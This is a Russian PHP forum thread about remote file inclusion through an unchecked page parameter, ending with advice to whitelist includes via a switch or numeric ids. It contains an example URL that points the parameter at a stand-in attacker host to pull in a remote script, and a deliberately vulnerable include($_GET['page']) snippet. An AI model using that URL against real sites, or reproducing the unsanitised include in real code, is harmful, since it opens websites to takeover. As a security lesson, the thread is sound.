Инклуд и безопасность

metton

Guest
Инклуд и безопасность

Здравствуйте!
При работе с ПХП возникла такая проблема (может и не проблема, но перестраховаться лишним не будет):
есть some.php
в него подгружаются другие страницы таким образом:
some.php?page=some_other.php
при таком раскладе, есть подозрение, что кто-то может проинклудить что-нибудь своё и таким образом получить доступ, например, к файлам сайта. Может такое случиться? Или то, что инклудится, отдаётся скрипту, который инклудит, уже в виде HTML? Если же такое может случиться, то каким образом может кто-то такое сотворить и как с этим бороться?
Тут возникает параллельный вопрос: какие настройки должны быть у ПХП/сервера (я так понимаю, это от настроек зависит), чтобы можно было инклудить внешние по отношению к серверу файлы?
 

Crazy

Developer
Re: Инклуд и безопасность

Автор оригинала: metton
some.php?page=some_other.php
при таком раскладе, есть подозрение, что кто-то может проинклудить что-нибудь своё и таким образом получить доступ, например, к файлам сайта.
Кратко:

http://your-site.com/some.php?page=http://cool-hacker.com/script.txt
 

metton

Guest
Не совсем понял ответ. Ты показал этим, что проинклудить можно? Или я что-то не понял?

Что можно, я уже понял.
ВОПРОСЫ:
- какая конфигурация сервера/ПХП позволяет инклудить внешние по отношению к веб-серверу файлы?
- когда выполняется пхп-код, полученный инклудом и зависит ли это от того, откуда инклудится?
 

metton

Guest
2Varg
То есть ты хочешь сказать, что если some.php такого содержания:
Код:
<?PHP
  include ($_GET["page"]);
?>
а some_other.php лежит на другом сервере и содержит:
Код:
<?PHP
  $dir_handle = opendir(".");
?>
то при обращении:
http://my-domain/some.php?page=http://some-other-domain/some_other.php

на моём сервере будет выполняться код:
Код:
<?PHP
  $dir_handle = opendir(".");
?>
??

Я так подумал, а разве такое может быть?
 

Crazy

Developer
Я так подумал, а разве такое может быть?
А ты попробуй. :) Доки опять же читать полезно:

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using an URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.
 

metton

Guest
2Crazy
Уже пробовал - получилось, что удалённый сервер отдаёт моему результат работы скрипта, как я и ожидал, а не пхп-код.
Делаю вывод: таким способом нельзя как либо навредить моему сайту.
Или я что-то не учёл и всё-таки можно?
 

ONK

Пассивист PHPСluba
Автор оригинала: metton
2Crazy
Уже пробовал - получилось, что удалённый сервер отдаёт моему результат работы скрипта, как я и ожидал, а не пхп-код.
Делаю вывод: таким способом нельзя как либо навредить моему сайту.
Или я что-то не учёл и всё-таки можно?
С такой дырищей (если разрешены внешние коннекты) с твоим сайтом можно сделать всё что угодно...
 

metton

Guest
2Crazy
А! Понял. Проверил... облом... будем думать, как это исправить...
Спасибо!
 

Crazy

Developer
Автор оригинала: metton
будем думать, как это исправить...
Я исправляю regexp'ами. Извлекаю из параметра только нужную мне часть. BTW, в perl'е к этой проблеме подошли очень грамотно...
 

metton

Guest
2Crazy
Я исправляю regexp'ами. Извлекаю из параметра только нужную мне часть.
В смысле, зная какие файлы ДОЛЖНЫ поступать в такой скрипт в качестве параметра (например, любые файлы из той же папки, что и сам скрипт), ты regexp-ом проверяешь соответствие пути?
То есть в принципе такой способ построения сайта реально используется в проектах и его реально настроить на безопасную работу? Или же всё-таки такое лучше не использовать?

BTW, в perl'е к этой проблеме подошли очень грамотно...
Можно поподробнее, если уж упомянул?
 

Linker

Guest
metton:

А зачем передавать в URI само название файла? Разве в этом есть необходимость?

Можно ведь что-то вроде этого:

if (isset($_GET['id']))
{
if ($_GET['id'] == 1) { include 'file1.php'; }
elseif($_GET['id'] == 2) { include 'file2.php'; }
...
else { include 'error.php'; }
}
 

ONK

Пассивист PHPСluba
надо просто НИКОГДА не использовать приходящие данные напрямую в файловых операциях. И ненадо будет думать о проверке валидности данных. Если надо сделать выборочную загрузку библиотек или исполняемых модулей, делай лечше так:

index.php?f=5

<?php
.
.

switch ($_GET['f']) {
case 1:
include ('xxx.php');
break;
case 2:
include ('yyy.php');
break;
case 5:
include ('zzzz.php');
break;
.
.
.

}
?>
 

Linker

Guest
Не следует явно передавать название файла в адресной строке, вместо этого нужно использовать что-нибудь другое, например
file.php?page=1 а не file.php?page=otherfile.php

P.S. Но самое главное - нельзя подставлять напрямую это значение (otherfile.php) в свой код.
 

metton

Guest
2Linker
Т.е. я по любому должен как бы проиндексировать ВСЕ файлы, которые будут подключаться, заранее?
 

Linker

Guest
Да, это 100% гарантия того, что будут подключаться именно те файлы, что заранее указаны.
 

ONK

Пассивист PHPСluba
Используй в командной строке псевдоним твоего файла, если злоумышленник подставит чатонибудь своё, он ничего не добьётся (а по хорошему надо записать ip и поставить на него бан + куки взломщика) У switch есть замечательная расширяющая конструкция default: ..... вот в ней и предусмотри код для потенциального взломщика -).
 
Сверху